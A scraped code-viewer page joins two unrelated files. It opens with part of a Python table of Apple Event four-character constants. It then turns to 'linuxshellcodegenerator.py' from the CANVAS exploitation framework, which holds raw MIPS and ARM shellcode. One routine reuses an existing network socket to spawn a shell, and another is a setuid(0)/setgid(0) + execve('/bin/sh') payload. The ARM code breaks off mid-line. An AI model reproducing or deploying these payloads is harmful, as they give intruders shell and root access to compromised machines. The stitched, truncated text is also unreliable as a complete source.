FOUR_CHAR_CODE('mnid')500pName = FOUR_CHAR_CODE('pnam')501pNewElementLoc = FOUR_CHAR_CODE('pnel')502pPenColor = FOUR_CHAR_CODE('ppcl')503pPenPattern = FOUR_CHAR_CODE('pppa')504pPenWidth = FOUR_CHAR_CODE('ppwd')505pPixelDepth = FOUR_CHAR_CODE('pdpt')506pPointList = FOUR_CHAR_CODE('ptlt')507pPointSize = FOUR_CHAR_CODE('ptsz')508pProtection = FOUR_CHAR_CODE('ppro')509pRotation = FOUR_CHAR_CODE('prot')510pScale = FOUR_CHAR_CODE('pscl')511pScript = FOUR_CHAR_CODE('scpt')512pScriptTag = FOUR_CHAR_CODE('psct')513pSelected = FOUR_CHAR_CODE('selc')514pSelection = FOUR_CHAR_CODE('sele')515pStartAngle = FOUR_CHAR_CODE('pang')516pStartPoint = FOUR_CHAR_CODE('pstp')517pTextColor = FOUR_CHAR_CODE('ptxc')518pTextFont = FOUR_CHAR_CODE('ptxf')519pTextItemDelimiters = FOUR_CHAR_CODE('txdl')520pTextPointSize = FOUR_CHAR_CODE('ptps')521pTextStyles = FOUR_CHAR_CODE('txst')522pTransferMode = FOUR_CHAR_CODE('pptm')523pTranslation = FOUR_CHAR_CODE('ptrs')524pUniformStyles = FOUR_CHAR_CODE('ustl')525pUpdateOn = FOUR_CHAR_CODE('pupd')526pUserSelection = FOUR_CHAR_CODE('pusl')527pVersion = FOUR_CHAR_CODE('vers')528pVisible = FOUR_CHAR_CODE('pvis')529typeAEText = FOUR_CHAR_CODE('tTXT')530typeArc = FOUR_CHAR_CODE('carc')531typeBest = FOUR_CHAR_CODE('best')532typeCell = FOUR_CHAR_CODE('ccel')533typeClassInfo = FOUR_CHAR_CODE('gcli')534typeColorTable = FOUR_CHAR_CODE('clrt')535typeColumn = FOUR_CHAR_CODE('ccol')536typeDashStyle = FOUR_CHAR_CODE('tdas')537typeData = FOUR_CHAR_CODE('tdta')538typeDrawingArea = FOUR_CHAR_CODE('cdrw')539typeElemInfo = FOUR_CHAR_CODE('elin')540typeEnumeration = FOUR_CHAR_CODE('enum')541typeEPS = FOUR_CHAR_CODE('EPS ')542typeEventInfo = FOUR_CHAR_CODE('evin')543typeFinderWindow = FOUR_CHAR_CODE('fwin')544typeFixedPoint = FOUR_CHAR_CODE('fpnt')545typeFixedRectangle = FOUR_CHAR_CODE('frct')546typeGraphicLine = FOUR_CHAR_CODE('glin')547typeGraphicText = FOUR_CHAR_CODE('cgtx')548typeGroupedGraphic = FOUR_CHAR_CODE('cpic')549typeInsertionLoc = FOUR_CHAR_CODE('insl')550typeIntlText = FOUR_CHAR_CODE('itxt')551typeIntlWritingCode = FOUR_CHAR_CODE('intl')552typeLongDateTime = FOUR_CHAR_CODE('ldt ')553typeLongFixed = FOUR_CHAR_CODE('lfxd')554typeLongFixedPoint = FOUR_CHAR_CODE('lfpt')555typeLongFixedRectangle = FOUR_CHAR_CODE('lfrc')556typeLongPoint = FOUR_CHAR_CODE('lpnt')557typeLongRectangle = FOUR_CHAR_CODE('lrct')558typeMachineLoc = FOUR_CHAR_CODE('mLoc')559typeOval = FOUR_CHAR_CODE('covl')560typeParamInfo = FOUR_CHAR_CODE('pmin')561typePict = FOUR_CHAR_CODE('PICT')562typePixelMap = FOUR_CHAR_CODE('cpix')563typePixMapMinus = FOUR_CHAR_CODE('tpmm')564typePolygon = FOUR_CHAR_CODE('cpgn')565typePropInfo = FOUR_CHAR_CODE('pinf')566typePtr = FOUR_CHAR_CODE('ptr ')567typeQDPoint = FOUR_CHAR_CODE('QDpt')568typeQDRegion = FOUR_CHAR_CODE('Qrgn')569typeRectangle = FOUR_CHAR_CODE('crec')570typeRGB16 = FOUR_CHAR_CODE('tr16')571typeRGB96 = FOUR_CHAR_CODE('tr96')572typeRGBColor = FOUR_CHAR_CODE('cRGB')573typeRotation = FOUR_CHAR_CODE('trot')574typeRoundedRectangle = FOUR_CHAR_CODE('crrc')575typeRow = FOUR_CHAR_CODE('crow')576typeScrapStyles = FOUR_CHAR_CODE('styl')577typeScript = FOUR_CHAR_CODE('scpt')578typeStyledText = FOUR_CHAR_CODE('STXT')579typeSuiteInfo = FOUR_CHAR_CODE('suin')580typeTable = FOUR_CHAR_CODE('ctbl')581typeTextStyles = FOUR_CHAR_CODE('tsty')582typeTIFF = FOUR_CHAR_CODE('TIFF')583typeVersion = FOUR_CHAR_CODE('vers')584kAEMenuClass = FOUR_CHAR_CODE('menu')585kAEMenuSelect = FOUR_CHAR_CODE('mhit')586kAEMouseDown = FOUR_CHAR_CODE('mdwn')587kAEMouseDownInBack = FOUR_CHAR_CODE('mdbk')588kAEKeyDown = FOUR_CHAR_CODE('kdwn')589kAEResized = FOUR_CHAR_CODE('rsiz')590kAEPromise = FOUR_CHAR_CODE('prom')591keyMenuID = FOUR_CHAR_CODE('mid ')592keyMenuItem = FOUR_CHAR_CODE('mitm')593keyCloseAllWindows = FOUR_CHAR_CODE('caw ')594keyOriginalBounds = FOUR_CHAR_CODE('obnd')595keyNewBounds = FOUR_CHAR_CODE('nbnd')596keyLocalWhere = FOUR_CHAR_CODE('lwhr')597typeHIMenu = FOUR_CHAR_CODE('mobj')598typeHIWindow = FOUR_CHAR_CODE('wobj')599kBySmallIcon = 0600kByIconView = 1601kByNameView = 2602kByDateView = 3603kBySizeView = 4604kByKindView = 5605kByCommentView = 6606kByLabelView = 7607kByVersionView = 8608kAEInfo = 11609kAEMain = 0610kAESharing = 13611kAEZoomIn = 7612kAEZoomOut = 8613kTextServiceClass = FOUR_CHAR_CODE('tsvc')614kUpdateActiveInputArea = FOUR_CHAR_CODE('updt')615kShowHideInputWindow = FOUR_CHAR_CODE('shiw')616kPos2Offset = FOUR_CHAR_CODE('p2st')617kOffset2Pos = FOUR_CHAR_CODE('st2p')618kUnicodeNotFromInputMethod = FOUR_CHAR_CODE('unim')619kGetSelectedText = FOUR_CHAR_CODE('gtxt')620keyAETSMDocumentRefcon = FOUR_CHAR_CODE('refc')621keyAEServerInstance = FOUR_CHAR_CODE('srvi')622keyAETheData = FOUR_CHAR_CODE('kdat')623keyAEFixLength = FOUR_CHAR_CODE('fixl')624keyAEUpdateRange = FOUR_CHAR_CODE('udng')625keyAECurrentPoint = FOUR_CHAR_CODE('cpos')626keyAEBufferSize = FOUR_CHAR_CODE('buff')627keyAEMoveView = FOUR_CHAR_CODE('mvvw')628keyAENextBody = FOUR_CHAR_CODE('nxbd')629keyAETSMScriptTag = FOUR_CHAR_CODE('sclg')630keyAETSMTextFont = FOUR_CHAR_CODE('ktxf')631keyAETSMTextFMFont = FOUR_CHAR_CODE('ktxm')632keyAETSMTextPointSize = FOUR_CHAR_CODE('ktps')633keyAETSMEventRecord = FOUR_CHAR_CODE('tevt')634keyAETSMEventRef = FOUR_CHAR_CODE('tevr')635keyAETextServiceEncoding = FOUR_CHAR_CODE('tsen')636keyAETextServiceMacEncoding = FOUR_CHAR_CODE('tmen')637typeTextRange = FOUR_CHAR_CODE('txrn')638typeComponentInstance = FOUR_CHAR_CODE('cmpi')639typeOffsetArray = FOUR_CHAR_CODE('ofay')640typeTextRangeArray = FOUR_CHAR_CODE('tray')641typeLowLevelEventRecord = FOUR_CHAR_CODE('evtr')642typeEventRef = FOUR_CHAR_CODE('evrf')643typeText = typeChar644kTSMOutsideOfBody = 1645kTSMInsideOfBody = 2646kTSMInsideOfActiveInputArea = 3647kNextBody = 1648kPreviousBody = 2649kCaretPosition = 1650kRawText = 2651kSelectedRawText = 3652kConvertedText = 4653kSelectedConvertedText = 5654kBlockFillText = 6655kOutlineText = 7656kSelectedText = 8657keyAEHiliteRange = FOUR_CHAR_CODE('hrng')658keyAEPinRange = FOUR_CHAR_CODE('pnrg')659keyAEClauseOffsets = FOUR_CHAR_CODE('clau')660keyAEOffset = FOUR_CHAR_CODE('ofst')661keyAEPoint = FOUR_CHAR_CODE('gpos')662keyAELeftSide = FOUR_CHAR_CODE('klef')663keyAERegionClass = FOUR_CHAR_CODE('rgnc')664keyAEDragging = FOUR_CHAR_CODE('bool')665keyAELeadingEdge = keyAELeftSide666typeUnicodeText = FOUR_CHAR_CODE('utxt')667typeStyledUnicodeText = FOUR_CHAR_CODE('sutx')668typeEncodedString = FOUR_CHAR_CODE('encs')669typeCString = FOUR_CHAR_CODE('cstr')670typePString = FOUR_CHAR_CODE('pstr')671typeMeters = FOUR_CHAR_CODE('metr')672typeInches = FOUR_CHAR_CODE('inch')673typeFeet = FOUR_CHAR_CODE('feet')674typeYards = FOUR_CHAR_CODE('yard')675typeMiles = FOUR_CHAR_CODE('mile')676typeKilometers = FOUR_CHAR_CODE('kmtr')677typeCentimeters = FOUR_CHAR_CODE('cmtr')678typeSquareMeters = FOUR_CHAR_CODE('sqrm')679typeSquareFeet = FOUR_CHAR_CODE('sqft')680typeSquareYards = FOUR_CHAR_CODE('sqyd')681typeSquareMiles = FOUR_CHAR_CODE('sqmi')682typeSquareKilometers = FOUR_CHAR_CODE('sqkm')683typeLiters = FOUR_CHAR_CODE('litr')684typeQuarts = FOUR_CHAR_CODE('qrts')685typeGallons = FOUR_CHAR_CODE('galn')686typeCubicMeters = FOUR_CHAR_CODE('cmet')687typeCubicFeet = FOUR_CHAR_CODE('cfet')688typeCubicInches = FOUR_CHAR_CODE('cuin')689typeCubicCentimeter = FOUR_CHAR_CODE('ccmt')690typeCubicYards = FOUR_CHAR_CODE('cyrd')691typeKilograms = FOUR_CHAR_CODE('kgrm')692typeGrams = FOUR_CHAR_CODE('gram')693typeOunces = FOUR_CHAR_CODE('ozs ')694typePounds = FOUR_CHAR_CODE('lbs ')695typeDegreesC = FOUR_CHAR_CODE('degc')696typeDegreesF = FOUR_CHAR_CODE('degf')697typeDegreesK = FOUR_CHAR_CODE('degk')698kFAServerApp = FOUR_CHAR_CODE('ssrv')699kDoFolderActionEvent = FOUR_CHAR_CODE('fola')700kFolderActionCode = FOUR_CHAR_CODE('actn')701kFolderOpenedEvent = FOUR_CHAR_CODE('fopn')702kFolderClosedEvent = FOUR_CHAR_CODE('fclo')703kFolderWindowMovedEvent = FOUR_CHAR_CODE('fsiz')704kFolderItemsAddedEvent = FOUR_CHAR_CODE('fget')705kFolderItemsRemovedEvent = FOUR_CHAR_CODE('flos')706kItemList = FOUR_CHAR_CODE('flst')707kNewSizeParameter = FOUR_CHAR_CODE('fnsz')708kFASuiteCode = FOUR_CHAR_CODE('faco')709kFAAttachCommand = FOUR_CHAR_CODE('atfa')710kFARemoveCommand = FOUR_CHAR_CODE('rmfa')711kFAEditCommand = FOUR_CHAR_CODE('edfa')712kFAFileParam = FOUR_CHAR_CODE('faal')713kFAIndexParam = FOUR_CHAR_CODE('indx')714kAEInternetSuite = FOUR_CHAR_CODE('gurl')715kAEISWebStarSuite = FOUR_CHAR_CODE('WWW\xbd')716kAEISGetURL = FOUR_CHAR_CODE('gurl')717KAEISHandleCGI = FOUR_CHAR_CODE('sdoc')718cURL = FOUR_CHAR_CODE('url ')719cInternetAddress = FOUR_CHAR_CODE('IPAD')720cHTML = FOUR_CHAR_CODE('html')721cFTPItem = FOUR_CHAR_CODE('ftp ')722kAEISHTTPSearchArgs = FOUR_CHAR_CODE('kfor')723kAEISPostArgs = FOUR_CHAR_CODE('post')724kAEISMethod = FOUR_CHAR_CODE('meth')725kAEISClientAddress = FOUR_CHAR_CODE('addr')726kAEISUserName = FOUR_CHAR_CODE('user')727kAEISPassword = FOUR_CHAR_CODE('pass')728kAEISFromUser = FOUR_CHAR_CODE('frmu')729kAEISServerName = FOUR_CHAR_CODE('svnm')730kAEISServerPort = FOUR_CHAR_CODE('svpt')731kAEISScriptName = FOUR_CHAR_CODE('scnm')732kAEISContentType = FOUR_CHAR_CODE('ctyp')733kAEISReferrer = FOUR_CHAR_CODE('refr')734kAEISUserAgent = FOUR_CHAR_CODE('Agnt')735kAEISAction = FOUR_CHAR_CODE('Kact')736kAEISActionPath = FOUR_CHAR_CODE('Kapt')737kAEISClientIP = FOUR_CHAR_CODE('Kcip')738kAEISFullRequest = FOUR_CHAR_CODE('Kfrq')739pScheme = FOUR_CHAR_CODE('pusc')740pHost = FOUR_CHAR_CODE('HOST')741pPath = FOUR_CHAR_CODE('FTPc')742pUserName = FOUR_CHAR_CODE('RAun')743pUserPassword = FOUR_CHAR_CODE('RApw')744pDNSForm = FOUR_CHAR_CODE('pDNS')745pURL = FOUR_CHAR_CODE('pURL')746pTextEncoding = FOUR_CHAR_CODE('ptxe')747pFTPKind = FOUR_CHAR_CODE('kind')748eScheme = FOUR_CHAR_CODE('esch')749eurlHTTP = FOUR_CHAR_CODE('http')750eurlHTTPS = FOUR_CHAR_CODE('htps')751eurlFTP = FOUR_CHAR_CODE('ftp ')752eurlMail = FOUR_CHAR_CODE('mail')753eurlFile = FOUR_CHAR_CODE('file')754eurlGopher = FOUR_CHAR_CODE('gphr')755eurlTelnet = FOUR_CHAR_CODE('tlnt')756eurlNews = FOUR_CHAR_CODE('news')757eurlSNews = FOUR_CHAR_CODE('snws')758eurlNNTP = FOUR_CHAR_CODE('nntp')759eurlMessage = FOUR_CHAR_CODE('mess')760eurlMailbox = FOUR_CHAR_CODE('mbox')761eurlMulti = FOUR_CHAR_CODE('mult')762eurlLaunch = FOUR_CHAR_CODE('laun')763eurlAFP = FOUR_CHAR_CODE('afp ')764eurlAT = FOUR_CHAR_CODE('at ')765eurlEPPC = FOUR_CHAR_CODE('eppc')766eurlRTSP = FOUR_CHAR_CODE('rtsp')767eurlIMAP = FOUR_CHAR_CODE('imap')768eurlNFS = FOUR_CHAR_CODE('unfs')769eurlPOP = FOUR_CHAR_CODE('upop')770eurlLDAP = FOUR_CHAR_CODE('uldp')771eurlUnknown = FOUR_CHAR_CODE('url?')772kConnSuite = FOUR_CHAR_CODE('macc')773cDevSpec = FOUR_CHAR_CODE('cdev')774cAddressSpec = FOUR_CHAR_CODE('cadr')775cADBAddress = FOUR_CHAR_CODE('cadb')776cAppleTalkAddress = FOUR_CHAR_CODE('cat ')777cBusAddress = FOUR_CHAR_CODE('cbus')778cEthernetAddress = FOUR_CHAR_CODE('cen ')779cFireWireAddress = FOUR_CHAR_CODE('cfw ')780cIPAddress = FOUR_CHAR_CODE('cip ')781cLocalTalkAddress = FOUR_CHAR_CODE('clt ')782cSCSIAddress = FOUR_CHAR_CODE('cscs')783cTokenRingAddress = FOUR_CHAR_CODE('ctok')784cUSBAddress = FOUR_CHAR_CODE('cusb')785pDeviceType = FOUR_CHAR_CODE('pdvt')786pDeviceAddress = FOUR_CHAR_CODE('pdva')787pConduit = FOUR_CHAR_CODE('pcon')788pProtocol = FOUR_CHAR_CODE('pprt')789pATMachine = FOUR_CHAR_CODE('patm')790pATZone = FOUR_CHAR_CODE('patz')791pATType = FOUR_CHAR_CODE('patt')792pDottedDecimal = FOUR_CHAR_CODE('pipd')793pDNS = FOUR_CHAR_CODE('pdns')794pPort = FOUR_CHAR_CODE('ppor')795pNetwork = FOUR_CHAR_CODE('pnet')796pNode = FOUR_CHAR_CODE('pnod')797pSocket = FOUR_CHAR_CODE('psoc')798pSCSIBus = FOUR_CHAR_CODE('pscb')799pSCSILUN = FOUR_CHAR_CODE('pslu')800eDeviceType = FOUR_CHAR_CODE('edvt')801eAddressSpec = FOUR_CHAR_CODE('eads')802eConduit = FOUR_CHAR_CODE('econ')803eProtocol = FOUR_CHAR_CODE('epro')804eADB = FOUR_CHAR_CODE('eadb')805eAnalogAudio = FOUR_CHAR_CODE('epau')806eAppleTalk = FOUR_CHAR_CODE('epat')807eAudioLineIn = FOUR_CHAR_CODE('ecai')808eAudioLineOut = FOUR_CHAR_CODE('ecal')809eAudioOut = FOUR_CHAR_CODE('ecao')810eBus = FOUR_CHAR_CODE('ebus')811eCDROM = FOUR_CHAR_CODE('ecd ')812eCommSlot = FOUR_CHAR_CODE('eccm')813eDigitalAudio = FOUR_CHAR_CODE('epda')814eDisplay = FOUR_CHAR_CODE('edds')815eDVD = FOUR_CHAR_CODE('edvd')816eEthernet = FOUR_CHAR_CODE('ecen')817eFireWire = FOUR_CHAR_CODE('ecfw')818eFloppy = FOUR_CHAR_CODE('efd ')819eHD = FOUR_CHAR_CODE('ehd ')820eInfrared = FOUR_CHAR_CODE('ecir')821eIP = FOUR_CHAR_CODE('epip')822eIrDA = FOUR_CHAR_CODE('epir')823eIRTalk = FOUR_CHAR_CODE('epit')824eKeyboard = FOUR_CHAR_CODE('ekbd')825eLCD = FOUR_CHAR_CODE('edlc')826eLocalTalk = FOUR_CHAR_CODE('eclt')827eMacIP = FOUR_CHAR_CODE('epmi')828eMacVideo = FOUR_CHAR_CODE('epmv')829eMicrophone = FOUR_CHAR_CODE('ecmi')830eModemPort = FOUR_CHAR_CODE('ecmp')831eModemPrinterPort = FOUR_CHAR_CODE('empp')832eModem = FOUR_CHAR_CODE('edmm')833eMonitorOut = FOUR_CHAR_CODE('ecmn')834eMouse = FOUR_CHAR_CODE('emou')835eNuBusCard = FOUR_CHAR_CODE('ednb')836eNuBus = FOUR_CHAR_CODE('enub')837ePCcard = FOUR_CHAR_CODE('ecpc')838ePCIbus = FOUR_CHAR_CODE('ecpi')839ePCIcard = FOUR_CHAR_CODE('edpi')840ePDSslot = FOUR_CHAR_CODE('ecpd')841ePDScard = FOUR_CHAR_CODE('epds')842ePointingDevice = FOUR_CHAR_CODE('edpd')843ePostScript = FOUR_CHAR_CODE('epps')844ePPP = FOUR_CHAR_CODE('eppp')845ePrinterPort = FOUR_CHAR_CODE('ecpp')846ePrinter = FOUR_CHAR_CODE('edpr')847eSvideo = FOUR_CHAR_CODE('epsv')848eSCSI = FOUR_CHAR_CODE('ecsc')849eSerial = FOUR_CHAR_CODE('epsr')850eSpeakers = FOUR_CHAR_CODE('edsp')851eStorageDevice = FOUR_CHAR_CODE('edst')852eSVGA = FOUR_CHAR_CODE('epsg')853eTokenRing = FOUR_CHAR_CODE('etok')854eTrackball = FOUR_CHAR_CODE('etrk')855eTrackpad = FOUR_CHAR_CODE('edtp')856eUSB = FOUR_CHAR_CODE('ecus')857eVideoIn = FOUR_CHAR_CODE('ecvi')858eVideoMonitor = FOUR_CHAR_CODE('edvm')859eVideoOut = FOUR_CHAR_CODE('ecvo')860cKeystroke = FOUR_CHAR_CODE('kprs')861pKeystrokeKey = FOUR_CHAR_CODE('kMsg')862pModifiers = FOUR_CHAR_CODE('kMod')863pKeyKind = FOUR_CHAR_CODE('kknd')864eModifiers = FOUR_CHAR_CODE('eMds')865eOptionDown = FOUR_CHAR_CODE('Kopt')866eCommandDown = FOUR_CHAR_CODE('Kcmd')867eControlDown = FOUR_CHAR_CODE('Kctl')868eShiftDown = FOUR_CHAR_CODE('Ksft')869eCapsLockDown = FOUR_CHAR_CODE('Kclk')870eKeyKind = FOUR_CHAR_CODE('ekst')871eEscapeKey = 0x6B733500872eDeleteKey = 0x6B733300873eTabKey = 0x6B733000874eReturnKey = 0x6B732400875eClearKey = 0x6B734700876eEnterKey = 0x6B734C00877eUpArrowKey = 0x6B737E00878eDownArrowKey = 0x6B737D00879eLeftArrowKey = 0x6B737B00880eRightArrowKey = 0x6B737C00881eHelpKey = 0x6B737200882eHomeKey = 0x6B737300883ePageUpKey = 0x6B737400884ePageDownKey = 0x6B737900885eForwardDelKey = 0x6B737500886eEndKey = 0x6B737700887eF1Key = 0x6B737A00888eF2Key = 0x6B737800889eF3Key = 0x6B736300890eF4Key = 0x6B737600891eF5Key = 0x6B736000892eF6Key = 0x6B736100893eF7Key = 0x6B736200894eF8Key = 0x6B736400895eF9Key = 0x6B736500896eF10Key = 0x6B736D00897eF11Key = 0x6B736700898eF12Key = 0x6B736F00899eF13Key = 0x6B736900900eF14Key = 0x6B736B00901eF15Key = 0x6B737100902kAEAND = FOUR_CHAR_CODE('AND ')903kAEOR = FOUR_CHAR_CODE('OR ')904kAENOT = FOUR_CHAR_CODE('NOT ')905kAEFirst = FOUR_CHAR_CODE('firs')906kAELast = FOUR_CHAR_CODE('last')907kAEMiddle = FOUR_CHAR_CODE('midd')908kAEAny = FOUR_CHAR_CODE('any ')909kAEAll = FOUR_CHAR_CODE('all ')910kAENext = FOUR_CHAR_CODE('next')911kAEPrevious = FOUR_CHAR_CODE('prev')912keyAECompOperator = FOUR_CHAR_CODE('relo')913keyAELogicalTerms = FOUR_CHAR_CODE('term')914keyAELogicalOperator = FOUR_CHAR_CODE('logc')915keyAEObject1 = FOUR_CHAR_CODE('obj1')916keyAEObject2 = FOUR_CHAR_CODE('obj2')917keyAEDesiredClass = FOUR_CHAR_CODE('want')918keyAEContainer = FOUR_CHAR_CODE('from')919keyAEKeyForm = FOUR_CHAR_CODE('form')920keyAEKeyData = FOUR_CHAR_CODE('seld')921keyAERangeStart = FOUR_CHAR_CODE('star')922keyAERangeStop = FOUR_CHAR_CODE('stop')923keyDisposeTokenProc = FOUR_CHAR_CODE('xtok')924keyAECompareProc = FOUR_CHAR_CODE('cmpr')925keyAECountProc = FOUR_CHAR_CODE('cont')926keyAEMarkTokenProc = FOUR_CHAR_CODE('mkid')927keyAEMarkProc = FOUR_CHAR_CODE('mark')928keyAEAdjustMarksProc = FOUR_CHAR_CODE('adjm')929keyAEGetErrDescProc = FOUR_CHAR_CODE('indc')930formAbsolutePosition = FOUR_CHAR_CODE('indx')931formRelativePosition = FOUR_CHAR_CODE('rele')932formTest = FOUR_CHAR_CODE('test')933formRange = FOUR_CHAR_CODE('rang')934formPropertyID = FOUR_CHAR_CODE('prop')935formName = FOUR_CHAR_CODE('name')936typeObjectSpecifier = FOUR_CHAR_CODE('obj ')937typeObjectBeingExamined = FOUR_CHAR_CODE('exmn')938typeCurrentContainer = FOUR_CHAR_CODE('ccnt')939typeToken = FOUR_CHAR_CODE('toke')940typeRelativeDescriptor = FOUR_CHAR_CODE('rel ')941typeAbsoluteOrdinal = FOUR_CHAR_CODE('abso')942typeIndexDescriptor = FOUR_CHAR_CODE('inde')943typeRangeDescriptor = FOUR_CHAR_CODE('rang')944typeLogicalDescriptor = FOUR_CHAR_CODE('logi')945typeCompDescriptor = FOUR_CHAR_CODE('cmpd')946typeOSLTokenList = FOUR_CHAR_CODE('ostl')947kAEIDoMinimum = 0x0000948kAEIDoWhose = 0x0001949kAEIDoMarking = 0x0004950kAEPassSubDescs = 0x0008951kAEResolveNestedLists = 0x0010952kAEHandleSimpleRanges = 0x0020953kAEUseRelativeIterators = 0x0040954typeWhoseDescriptor = FOUR_CHAR_CODE('whos')955formWhose = FOUR_CHAR_CODE('whos')956typeWhoseRange = FOUR_CHAR_CODE('wrng')957keyAEWhoseRangeStart = FOUR_CHAR_CODE('wstr')958keyAEWhoseRangeStop = FOUR_CHAR_CODE('wstp')959keyAEIndex = FOUR_CHAR_CODE('kidx')...

Full Screen

Full Screen

linuxshellcodegenerator.py

Source:linuxshellcodegenerator.py Github

copy

Full Screen

1#! /usr/bin/env python2#Proprietary CANVAS source code - use only under the license agreement3#specified in LICENSE.txt in your CANVAS distribution4#Copyright Immunity, Inc, 2002-20065#http://www.immunityinc.com/CANVAS/ for more information6from mosdef_shellcodeGenerator import nonMOSDEFShellcodeGenerator, shellcodeGenerator7from MOSDEF import mosdef, GetMOSDEFlibc8#from MOSDEF import GetMOSDEFlibc9class linux_mipsel(nonMOSDEFShellcodeGenerator):10 11 def __init__(self):12 shellcodeGenerator.__init__(self)13 #self.libc = GetMOSDEFlibc('Linux', 'mipsel')14 self.handlers["exit"]=self.exit15 self.handlers["GOFindSockWithShell"]=self.GOFindSockWithShell16 17 def exit(self, args):18 # _exit(?);19 code = "\xa1\x0f\x02\x24" # li v0,SYS__exit20 code += "\x0c\x00\x00\x00" # syscall21 self.value += code22 return code23 24 def GOFindSockWithShell(self, args):25 """ 202/260 bytes GOOOcode """26 27 code = "\xc0\xfe\xbd\x27" # addiu sp,sp,-32028 code += "\x09\x00\x11\x24" # li s1,EBADF29 # findsocket();30 code += "\x00\x04\x04\x24" # li a0,1024 // start at 102431 code += "\x08\x00\xa5\x27" # addiu a1,sp,832 code += "\x04\x00\xa6\x27" # addiu a2,sp,433 code += "\x80\x00\x10\x24" # li s0,128 // sizeof(struct sockaddr_storage)34 code += "\x04\x00\xb0\xaf" # sw s0,4(sp)35 code += "\x4b\x10\x02\x24" # li v0,SYS_getpeername36 code += "\x0c\x00\x00\x00" # syscall37 code += "\x07\x00\x51\x10" # beq v0,s1,+3238 code += "\xff\x00\x6b\x35" # ori t3,t3,0xff39 code += "\x03\x00\x40\x14" # bnez v0,close_fds40 code += "\xff\x00\x6b\x35" # ori t3,t3,0xff41 code += "\x36\x01\xa4\xaf" # sw a0,310(sp)42 code += "\x02\x00\x00\x10" # b -1243 # close(badfd);44 code += "\xa6\x0f\x02\x24" # li v0,SYS_close45 code += "\x0c\x00\x00\x00" # syscall46 code += "\xff\xff\x84\x24" # addiu a0,a0,-147 code += "\xf3\xff\x81\x04" # bgez a0,-4848 code += "\xa4\x0f\x02\x24" # li v0,SYS_write49 code += "\x36\x01\xa4\x8f" # lw a0,310(sp)50 # write(sockfd, &"GOOO", 4);51 code += "\x4f\x4f\x05\x3c" # lui a1,0x4f4f52 code += "\x47\x4f\xa5\x34" # ori a1,a1,0x4f4753 code += "\x00\x00\xa5\xaf" # sw a1,0(sp)54 code += "\x00\x00\xa5\x27" # addiu a1,sp,055 code += "\x04\x00\x06\x24" # li a2,456 code += "\x0c\x00\x00\x00" # syscall57 if args and "CleanSockOpt" in args:58 # setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, [NULL, NULL], 8);59 code += "\xff\xff\x05\x34" # li a1,SOL_SOCKET60 code += "\x06\x10\x06\x24" # li a2,SO_RCVTIMEO61 code += "\x20\x00\xa0\xaf" # sw zero,32(sp)62 code += "\x24\x00\xa0\xaf" # sw zero,36(sp)63 code += "\x20\x00\xa7\x27" # addiu a3,sp,3264 code += "\x08\x00\x12\x24" # li s2,865 code += "\x10\x00\xb2\xaf" # sw s2,16(sp)66 code += "\x55\x10\x02\x24" # li v0,SYS_setsockopt67 code += "\x0c\x00\x00\x00" # syscall68 # setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, [NULL, NULL], 8);69 code += "\x05\x10\x06\x24" # li a2,SO_SNDTIMEO70 code += "\x20\x00\xa7\x27" # addiu a3,sp,3271 code += "\x55\x10\x02\x24" # li v0,SYS_setsockopt72 code += "\x0c\x00\x00\x00" # syscall73 # dup2(sockfd, [0,1,2]);74 code += "\x02\x00\x05\x24" # li a1,275 code += "\x02\x00\xa4\x10" # beq a1,a0,+1276 code += "\xdf\x0f\x02\x24" # li v0,406377 code += "\x0c\x00\x00\x00" # syscall78 code += "\xfc\xff\xa0\x1c" # bgtz a1,-1279 code += "\xff\xff\xa5\x24" # addiu a1,a1,-180 # close(sockfd);81 code += "\x03\x00\x85\x2c" # sltiu a1,a0,382 code += "\x02\x00\xa0\x14" # bnez a1,execve83 code += "\xa6\x0f\x02\x24" # li v0,400684 code += "\x0c\x00\x00\x00" # syscall85 # execve("/bin/sh", ["/bin/sh", NULL], [NULL]);86 code += "\x69\x6e\x04\x3c" # lui a0,0x6e6987 code += "\x2f\x62\x84\x34" # ori a0,a0,0x622f88 code += "\x00\x00\xa4\xaf" # sw a0,0(sp)89 code += "\x68\x00\x04\x3c" # lui a0,0x6890 code += "\x2f\x73\x84\x34" # ori a0,a0,0x732f91 code += "\x04\x00\xa4\xaf" # sw a0,4(sp)92 code += "\x00\x00\xa4\x27" # addiu a0,sp,093 code += "\x08\x00\xa4\xaf" # sw a0,8(sp)94 code += "\x0c\x00\xa0\xaf" # sw zero,12(sp)95 code += "\x08\x00\xa5\x27" # addiu a1,sp,896 code += "\x0c\x00\xa6\x27" # addiu a2,sp,1297 code += "\xab\x0f\x02\x24" # li v0,SYS_execve98 code += "\x0c\x00\x00\x00" # syscall99 if args and "CleanExit" in args:100 # _exit(?);101 code += "\xa1\x0f\x02\x24" # li v0,SYS__exit102 code += "\x0c\x00\x00\x00" # syscall103 self.value += code104 return code105class linux_armel(nonMOSDEFShellcodeGenerator):106 107 def __init__(self):108 shellcodeGenerator.__init__(self)109 #self.libc = GetMOSDEFlibc('Linux', 'armel')110 self.handlers["exit"]=self.exit111 self.handlers["setuid+execve"]=self.setuid_execve112 113 def exit(self, ignored):114 # _exit(?);115 return "\x01\x00\x90\xef" # swi 0x00900001116 117 def setuid_execve(self, args = ["setgid"]):118 # setuid(0);119 code = "\x00\x00\xa0\xe3" # mov r0, #0 // arg0 = 0120 code += "\x17\x00\x90\xef" # swi 0x00900017 // SYS_setuid()121 if args and "setgid" in args:122 # setgid(0);123 code += "\x00\x00\xa0\xe3" # mov r0, #0 // arg0 = 0124 code += "\x2e\x00\x90\xef" # swi 0x0090002e // SYS_setgid()125 code += "\x07\x00\x00\xeb" # bl getpc126 # pcloc:127 # execve("/bin/sh", ["/bin/sh", NULL], NULL);128 code += "\x08\xd0\x4d\xe2" # sub sp, sp, #8 // sp -= 8129 code += "\x00\x20\xa0\xe3" # mov r2, #0 // arg2 = NULL130 code += "\x00\x00\x8d\xe5" # str r0, [sp] // sp[0] = argv[0] = shell131 code += "\x04\x20\x8d\xe5" # str r2, [sp, #4] // sp[4] = argv[1] = NULL132 code += "\x00\x10\x8d\xe2" # add r1, sp, #0 // arg1 = argv = sp[0]133 code += "\x04\x20\x8d\xe2" # add r2, sp, #4 // arg2 = envp = sp[4]134 code += "\x0b\x00\x90\xef" # swi 0x0090000b // SYS_execve()135 # _exit(?);136 code += "\x01\x00\x90\xef" # swi 0x00900001 // SYS_exit()137 # getpc: // here we have pcloc in %lr138 code += "\x28\x00\x8e\xe2" # add r0, lr, #48 // arg0 = "/bin/sh"139 code += 